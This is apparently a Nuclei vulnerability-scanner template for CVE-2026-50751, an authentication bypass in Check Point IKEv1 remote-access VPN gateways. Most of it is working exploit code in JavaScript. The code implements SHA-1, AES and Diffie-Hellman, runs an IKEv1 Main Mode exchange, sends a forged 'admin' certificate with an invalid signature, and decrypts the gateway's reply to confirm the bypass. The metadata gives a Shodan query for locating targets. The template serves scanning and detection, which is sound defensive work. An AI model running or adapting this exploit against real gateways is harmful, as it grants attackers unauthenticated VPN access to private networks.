id: CVE-2026-50751

info:
  name: Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecated IKEv1.
  impact: |
    Unauthenticated attackers can bypass user authentication and establish remote VPN connections, compromising network security.
  remediation: |
    Apply Check Point hotfix sk185033 which restores the certificate signature verification in verifyMessagePhase1.
  reference:
    - https://labs.watchtowr.com/lets-not-go-to-the-checkpoint-its-a-silly-place-cve-2026-50751/
    - https://support.checkpoint.com/results/sk/sk185033
    - https://github.com/watchtowrlabs/watchTowr-vs-Check-Point-CVE-2026-50751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10.0
    cve-id: CVE-2026-50751
    epss-score: 0.41152
    epss-percentile: 0.98485
    cwe-id: CWE-287,CWE-295
  metadata:
    verified: true
    max-request: 1
    vendor: checkpoint
    product: quantum_security_gateway
    shodan-query: html:"Check Point SSL Network Extender"
  tags: cve,cve2026,checkpoint,vpn,ike,ikev1,auth-bypass,js,kev,vkev

javascript:
  - pre-condition: |
      isUDPPortOpen(Host, Port);

    code: |
      (function() {
        const c  = require("nuclei/net");
        const nb = require("nuclei/bytes");
        const USE_TCPT = (parseInt(Port) === 443);

        function h2b(hex) {
          const r=[];
          for(let i=0;i<hex.length;i+=2) r.push(parseInt(hex.substr(i,2),16));
          return r;
        }
        function b2h(arr) {
          let s="";
          for(let i=0;i<arr.length;i++) s+=('0'+arr[i].toString(16)).slice(-2);
          return s;
        }
        function rd32(a,i){return((a[i]<<24)|(a[i+1]<<16)|(a[i+2]<<8)|a[i+3])>>>0;}
        function wr32(v){return[(v>>>24)&0xff,(v>>>16)&0xff,(v>>>8)&0xff,v&0xff];}

        function sha1(data) {
          let m=Array.from(data),bl=m.length*8;
          m.push(0x80);
          while(m.length%64!==56)m.push(0);
          for(let i=7;i>=0;i--)m.push((bl/Math.pow(2,i*8))&0xff);
          let H=[0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0];
          for(let b=0;b<m.length;b+=64){
            let W=[];
            for(let j=0;j<16;j++)W.push(rd32(m,b+j*4));
            for(let j=16;j<80;j++){const n=W[j-3]^W[j-8]^W[j-14]^W[j-16];W.push(((n<<1)|(n>>>31))>>>0);}
            let a=H[0],hb=H[1],hc=H[2],d=H[3],e=H[4];
            for(let j=0;j<80;j++){
              let f,k;
              if(j<20){f=((hb&hc)|(~hb&d))>>>0;k=0x5A827999;}
              else if(j<40){f=(hb^hc^d)>>>0;k=0x6ED9EBA1;}
              else if(j<60){f=((hb&hc)|(hb&d)|(hc&d))>>>0;k=0x8F1BBCDC;}
              else{f=(hb^hc^d)>>>0;k=0xCA62C1D6;}
              const t=(((a<<5)|(a>>>27))>>>0)+f+e+k+W[j];
              e=d;d=hc;hc=((hb<<30)|(hb>>>2))>>>0;hb=a;a=t>>>0;
            }
            H[0]=(H[0]+a)>>>0;H[1]=(H[1]+hb)>>>0;H[2]=(H[2]+hc)>>>0;
            H[3]=(H[3]+d)>>>0;H[4]=(H[4]+e)>>>0;
          }
          let r=[];for(const h of H)r=r.concat(wr32(h));return r;
        }

        function hmac1(key,msg) {
          let k=key.slice();
          if(k.length>64)k=sha1(k);
          while(k.length<64)k.push(0);
          return sha1([...k.map(x=>x^0x5c),...sha1([...k.map(x=>x^0x36),...msg])]);
        }

        const SB=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22];
        const RC=[1,2,4,8,16,32,64,128,27,54];
        function xt(a){return((a<<1)^(a&0x80?0x1b:0))&0xff;}
        function gm(a,b){let r=0;for(let i=0;i<8;i++){if(b&1)r^=a;a=xt(a);b>>=1;}return r;}
        function sw(w){return(SB[w>>>24]<<24|SB[(w>>16)&0xff]<<16|SB[(w>>8)&0xff]<<8|SB[w&0xff])>>>0;}
        function aesKex(key){
          let w=[];
          for(let i=0;i<8;i++)w.push(rd32(key,i*4));
          for(let i=8;i<60;i++){
            let t=w[i-1];
            if(i%8===0)t=(sw(((t<<8)|(t>>>24))>>>0)^(RC[i/8-1]<<24))>>>0;
            else if(i%8===4)t=sw(t);
            w.push((w[i-8]^t)>>>0);
          }
          return w;
        }
        function cbcEnc(key,iv,pt){
          const rk=aesKex(key);
          function aesBlk(blk){
            let s=blk.slice();
            function ark(r){for(let cc=0;cc<4;cc++){const w=rk[r*4+cc];s[4*cc]^=(w>>>24)&0xff;s[4*cc+1]^=(w>>>16)&0xff;s[4*cc+2]^=(w>>>8)&0xff;s[4*cc+3]^=w&0xff;}}
            ark(0);
            for(let r=1;r<14;r++){
              for(let i=0;i<16;i++)s[i]=SB[s[i]];
              let t;
              t=s[1];s[1]=s[5];s[5]=s[9];s[9]=s[13];s[13]=t;
              t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;
              t=s[3];s[3]=s[15];s[15]=s[11];s[11]=s[7];s[7]=t;
              for(let cc=0;cc<4;cc++){const a=s[4*cc],b=s[4*cc+1],cd=s[4*cc+2],dd=s[4*cc+3];s[4*cc]=gm(2,a)^gm(3,b)^cd^dd;s[4*cc+1]=a^gm(2,b)^gm(3,cd)^dd;s[4*cc+2]=a^b^gm(2,cd)^gm(3,dd);s[4*cc+3]=gm(3,a)^b^cd^gm(2,dd);}
              ark(r);
            }
            for(let i=0;i<16;i++)s[i]=SB[s[i]];
            let t;
            t=s[1];s[1]=s[5];s[5]=s[9];s[9]=s[13];s[13]=t;
            t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;
            t=s[3];s[3]=s[15];s[15]=s[11];s[11]=s[7];s[7]=t;
            ark(14);return s;
          }
          let ct=[],prev=Array.from(iv);
          for(let i=0;i<pt.length;i+=16){const e=aesBlk(pt.slice(i,i+16).map((v,j)=>v^prev[j]));ct=ct.concat(e);prev=e;}
          return ct;
        }

        const ISB=new Array(256);for(let i=0;i<256;i++)ISB[SB[i]]=i;
        function aesDecBlk(blk,rk){
          let s=blk.slice();
          function ark(r){for(let cc=0;cc<4;cc++){const w=rk[r*4+cc];s[4*cc]^=(w>>>24)&0xff;s[4*cc+1]^=(w>>>16)&0xff;s[4*cc+2]^=(w>>>8)&0xff;s[4*cc+3]^=w&0xff;}}
          ark(14);
          for(let r=13;r>=1;r--){
            let t;t=s[13];s[13]=s[9];s[9]=s[5];s[5]=s[1];s[1]=t;
            t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;
            t=s[7];s[7]=s[11];s[11]=s[15];s[15]=s[3];s[3]=t;
            for(let i=0;i<16;i++)s[i]=ISB[s[i]];
            ark(r);
            for(let cc=0;cc<4;cc++){const a=s[4*cc],b=s[4*cc+1],cd=s[4*cc+2],dd=s[4*cc+3];s[4*cc]=gm(14,a)^gm(11,b)^gm(13,cd)^gm(9,dd);s[4*cc+1]=gm(9,a)^gm(14,b)^gm(11,cd)^gm(13,dd);s[4*cc+2]=gm(13,a)^gm(9,b)^gm(14,cd)^gm(11,dd);s[4*cc+3]=gm(11,a)^gm(13,b)^gm(9,cd)^gm(14,dd);}
          }
          let t;t=s[13];s[13]=s[9];s[9]=s[5];s[5]=s[1];s[1]=t;
          t=s[2];s[2]=s[10];s[10]=t;t=s[6];s[6]=s[14];s[14]=t;
          t=s[7];s[7]=s[11];s[11]=s[15];s[15]=s[3];s[3]=t;
          for(let i=0;i<16;i++)s[i]=ISB[s[i]];
          ark(0);return s;
        }
        function cbcDec(key,iv,ct){
          const rk=aesKex(key);let pt=[],prev=Array.from(iv);
          for(let i=0;i<ct.length;i+=16){const block=ct.slice(i,i+16);const dec=aesDecBlk(block,rk);pt=pt.concat(dec.map((v,j)=>v^prev[j]));prev=block;}
          return pt;
        }

        const DHP=BigInt("0x"+
          "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"+
          "020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"+
          "4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"+
          "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF");
        function modpow(base,exp,mod){
          let r=BigInt(1);base=base%mod;
          while(exp>BigInt(0)){if(exp&BigInt(1))r=r*base%mod;exp>>=BigInt(1);base=base*base%mod;}
          return r;
        }

        const PRIV_HEX=
          "00000000000000000000000000000000000000000000000000000000000000006a09e667f3bcc908"+
          "b2fb1366ea957d3e3adec17512775099da2f590b0667322a5e7b54d7e9b4c2a59acf32a7a5b3e8d1"+
          "c4f6a2b8e0d3791f2b4a8c0f5e931d67a8c4d2f1b7e0395c6b3a2f8e1d094c57f2a5c9e3b7d180"+
          "4a39e6f8c2a450b179";
        const PUB_HEX=
          "cf9939ccf7991becadce718a5223536987d94b3507a2b35563bb35fa883c1376"+
          "d33a185ff6bbdd71748a03c8a51b0b93783b3d5d7f8c7d49dc5472d5e2b598f5"+
          "24bbc2d7b6cb60e12187f3b14970c294c6cc10278e0bdb7f1b1a2c49d32a0cbf"+
          "b5f85404b436c3da209d801d17cc24d8e15fa115c17e16527846b0ff8337e353";
        const NONCE_HEX="6a09e667f3bcc908b2fb1366ea957d3e3adec17512775099da2f590b0667322a";
        const CERT_HEX=
          "308202f4308201dca00302010202084e75636c65690001300d06092a864886f70d01010b0500303a"+
          "31183016060355040a0c0f4e75636c6569446574656374696f6e310e300c060355040b0c05757365"+
          "7273310e300c06035504030c0561646d696e301e170d3234313233313030303030305a170d333431"+
          "323330303030303030305a303a31183016060355040a0c0f4e75636c6569446574656374696f6e31"+
          "0e300c060355040b0c057573657273310e300c06035504030c0561646d696e30820122300d06092a"+
          "864886f70d01010105000382010f003082010a0282010100bf1ae034d767cef8475729e73282d821"+
          "a00485c314a88ef73f87794be21a0b8e44954d023dfdf2a4f760565bec22bc5d6de5cf02a5ced6c6"+
          "d048a9e6f72ba229fba2c151f5de4ef8ad4efc87c740c80bc3b5ab7f59d2e6d8a981f3e061b95103"+
          "c58e35c5f84f29394a92f5834a416b5829e2602fcbe3d1f2007447bc60204b444b9330ed4c4060b8"+
          "08caccd62b40f61e79fdd66f478749f937a2a4cc57673dce709cda72ed6b7743847609a2bd2e3048"+
          "8e66c4cfaf682a6903c1b2032148ab597006e0f6481b57c84c4fde143f8f1b7578bc9159272706e2"+
          "49997786d5fbd5b72eb182f5f1d511a5cfac396fe9a8b21b3d368a6512c8daf9889bdf255c900569"+
          "0203010001300d06092a864886f70d01010b05000382010100a32194decd21c07450dfaab41d3619"+
          "d1ce3f6618b0c9cc8e614433030dc102d70864ba96bac5430d1a28d483c3ea95500814c785850581"+
          "affe311050740ae10750fdea82588645e6985642892ddf7cb6f7f961e4908f92f2e4f6e2a9eb3d30"+
          "be6205a0f3c30cdbface9d9bc98f72d1a9f4ec8075cea78ea81d9b1b246873e006fc1d6a2c4caf46"+
          "d588f546ec3f1f0251c2bc01ee8c41c52ec981e6d732f4fbe49c79b11dc431e5729e6d8f0cfa81bd"+
          "1a9085de521d338832c6f29f4e1e51b498c851e8b04406a9ce2c72a94a35799806277f36eedfb828"+
          "7352c2b61cb2cc2fbd548d8df57bb549964d6e443d266686bbeaeb60e5094c0dc1034c14b83abc144c";
        const SUBJ_HEX=
          "303a31183016060355040a0c0f4e75636c6569446574656374696f6e310e300c060355040b0c0575"+
          "73657273310e300c06035504030c0561646d696e";
        function rndBytes(n){const r=[];for(let i=0;i<n;i++)r.push(Math.floor(Math.random()*256));return r;}
        const ICOOKIE    = rndBytes(8);
        const VPNExtFeat = h2b("3cf187b2474029ea46ac7fd0eaf289f500000004");
        const BAD_SIG    = new Array(256).fill(0x41); // 256-byte static invalid signature

        function ikeHdr(ic,rc,next,exch,flags,msgId,bLen){
          return [...ic,...rc,next,0x10,exch,flags,...wr32(msgId),...wr32(28+bLen)];
        }
        function ikePl(next,body){
          const len=4+body.length;return[next,0,(len>>8)&0xff,len&0xff,...body];
        }
        function walkPls(data,firstType){
          const pls=[];let off=0,nxt=firstType;
          while(nxt&&off+4<=data.length){
            const pl=(data[off+2]<<8)|data[off+3];
            if(pl<4||off+pl>data.length)break;
            pls.push({t:nxt,d:data.slice(off+4,off+pl)});
            nxt=data[off];off+=pl;
          }
          return pls;
        }

        let conn;
        try {
          if(USE_TCPT) conn=c.Open('tcp',Host+':'+Port);
          else conn=c.Open('udp',Host+':'+Port);
          conn.SetTimeout(10);
        } catch(e) { return "ERROR: Connection failed: "+e; }

        function recvArr(){
          try{
            const raw=conn.Recv(65535);
            if(!raw)return null;
            const buf=new nb.Buffer();buf.Write(raw);
            const hex=buf.Hex();
            return hex&&hex.length>=8?h2b(hex):null;
          }catch(e){return null;}
        }

        if(USE_TCPT){
          try{
            conn.SendHex("0000000c00000001000000010000000200000001");
            const hs=recvArr();
            if(!hs||hs.length<9||rd32(hs,4)!==1||hs[8]!==0){
              conn.Close();return "NO_RESPONSE: TCPT handshake failed";
            }
          }catch(e){conn.Close();return "ERROR: TCPT handshake: "+e;}
        }

        function sendIke(pkt){
          if(USE_TCPT){const fr=[...wr32(pkt.length),0,0,0,2,...pkt];conn.SendHex(b2h(fr));}
          else conn.SendHex(b2h(pkt));
        }
        function recvIke(){
          const raw=recvArr();
          if(!raw||raw.length<28)return null;
          if(!USE_TCPT)return raw;
          let off=0;
          while(off+8<=raw.length){
            const flen=rd32(raw,off),ftype=rd32(raw,off+4);
            if(ftype===2&&flen>=28&&off+8+flen<=raw.length)return raw.slice(off+8,off+8+flen);
            if(flen===0||flen>65536)break;
            off+=8+flen;
          }
          return raw.length>=28?raw:null;
        }
        function parseIke(raw){
          if(!raw||raw.length<28)return null;
          return{rc:raw.slice(8,16),fp:raw[16],ex:raw[18],enc:!!(raw[19]&1),body:raw.slice(28)};
        }

        const PRIV=h2b(PRIV_HEX.replace(/\s/g,""));
        const PUB =h2b(PUB_HEX.replace(/\s/g,""));
        const NI  =h2b(NONCE_HEX);
        const CERT=h2b(CERT_HEX.replace(/\s/g,""));
        const SUBJ=h2b(SUBJ_HEX.replace(/\s/g,""));
        let rcookie=new Array(8).fill(0);

        const ATTRS=h2b("80010007800e0100800200028003000380040002");
        const XFORM=[...h2b("0000001c01010000"),...ATTRS];           // 28 B
        const PROP =[...h2b("0000002401010001"),...XFORM];           // 36 B
        const SA_BD=[...h2b("0000000100000001"),...PROP];            // 44 B (DOI+Sit+Prop)
        const SA_PL=ikePl(13,SA_BD);                                 // next=VID(13)
        const VD_PL=ikePl(0,Array.from(VPNExtFeat));                 // VPNExtFeatures
        const MM1B =[...SA_PL,...VD_PL];
        sendIke([...ikeHdr(ICOOKIE,rcookie,1,2,0,0,MM1B.length),...MM1B]);

        const mm2r=recvIke(),mm2=parseIke(mm2r);
        if(!mm2||mm2.ex!==2||mm2.enc){conn.Close();return "NO_CERT_REALM: No valid IKEv1 MM2 response";}
        rcookie=Array.from(mm2.rc);
        if(!walkPls(mm2.body,mm2.fp).some(p=>p.t===1)){
          conn.Close();return "NO_CERT_REALM: Gateway did not accept RSA-SIG proposal";
        }

        const MM3B=[...ikePl(10,PUB),...ikePl(0,NI)];
        sendIke([...ikeHdr(ICOOKIE,rcookie,4,2,0,0,MM3B.length),...MM3B]);

        const mm4r=recvIke(),mm4=parseIke(mm4r);
        if(!mm4||mm4.ex!==2){conn.Close();return "INCONCLUSIVE: No MM4 response";}
        const m4ps=walkPls(mm4.body,mm4.fp);
        const sKE=(m4ps.find(p=>p.t===4)||{d:null}).d;   // server DH public key
        const sNR=(m4ps.find(p=>p.t===10)||{d:null}).d;  // server nonce (Nr)
        if(!sKE||!sNR){conn.Close();return "INCONCLUSIVE: Missing KE/Nonce in MM4";}

        const gxy_int=modpow(BigInt("0x"+b2h(sKE)),BigInt("0x"+b2h(PRIV)),DHP);
        const gxy=h2b(gxy_int.toString(16).padStart(256,"0"));
        const skeyid=hmac1([...NI,...Array.from(sNR)],gxy);
        const skd=hmac1(skeyid,[...gxy,...ICOOKIE,...rcookie,0]);
        const ska=hmac1(skeyid,[...skd,...gxy,...ICOOKIE,...rcookie,1]);
        const ske=hmac1(skeyid,[...ska,...gxy,...ICOOKIE,...rcookie,2]);
        let blk=hmac1(ske,[0]);
        let enc_key=[...blk];
        while(enc_key.length<32){blk=hmac1(ske,blk);enc_key=[...enc_key,...blk];}
        enc_key=enc_key.slice(0,32);
        const iv=sha1([...PUB,...Array.from(sKE)]).slice(0,16);

        const id_body=[9,0,0,0,...SUBJ];
        const cert_body=[4/*CERT_X509_SIG*/,...CERT];
        let inner=[...ikePl(6,id_body),...ikePl(9,cert_body),...ikePl(0,BAD_SIG)];
        const pad=(16-(inner.length%16))%16;
        for(let i=0;i<pad;i++)inner.push(0);
        const ct=cbcEnc(enc_key,iv,inner);
        const mm6_iv=ct.slice(-16);
        sendIke([...ikeHdr(ICOOKIE,rcookie,5,2,0x01/*ENC*/,0,ct.length),...ct]);

        let result="INCONCLUSIVE: No decisive response from gateway";
        for(let attempt=0;attempt<6;attempt++){
          const mm6r=recvIke(),mm6=parseIke(mm6r);
          if(!mm6)continue;
          if(mm6.ex===5){result="REJECTED: Gateway rejected authentication for '"+Username+"'";break;}
          if(mm6.ex===2&&mm6.enc){
            let gwIp=Host;
            try{
              const dec=cbcDec(enc_key,mm6_iv,Array.from(mm6.body));
              const pls6=walkPls(dec,mm6.fp);
              const idp=pls6.find(p=>p.t===5);
              if(idp&&idp.d.length>=8&&idp.d[0]===1)gwIp=idp.d[4]+"."+idp.d[5]+"."+idp.d[6]+"."+idp.d[7];
            }catch(e){}
            result="BYPASSED: Certificate-auth bypass confirmed for '"+Username+"'. Gateway-IP:"+gwIp;
            break;
          }
        }
        conn.Close();
        return result;
      })()

    args:
      Host: "{{Host}}"
      Port: 500
      Username: "admin"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "BYPASSED"

      - type: word
        words:
          - "Certificate-auth bypass confirmed"

    extractors:
      - type: regex
        name: gateway-ip
        regex:
          - "Gateway-IP:([0-9.]+)"
        group: 1
# digest: 4a0a00473045022100a952de1041ceaabdd8e17dfa096ad87a7b946503dd97a23315caf308d3405025022020eb957d4e05b00a45a40c7193d6d9563bcae75e6f97331a587dddd32982cfe9:922c64590222798bb761d5b6d8e72950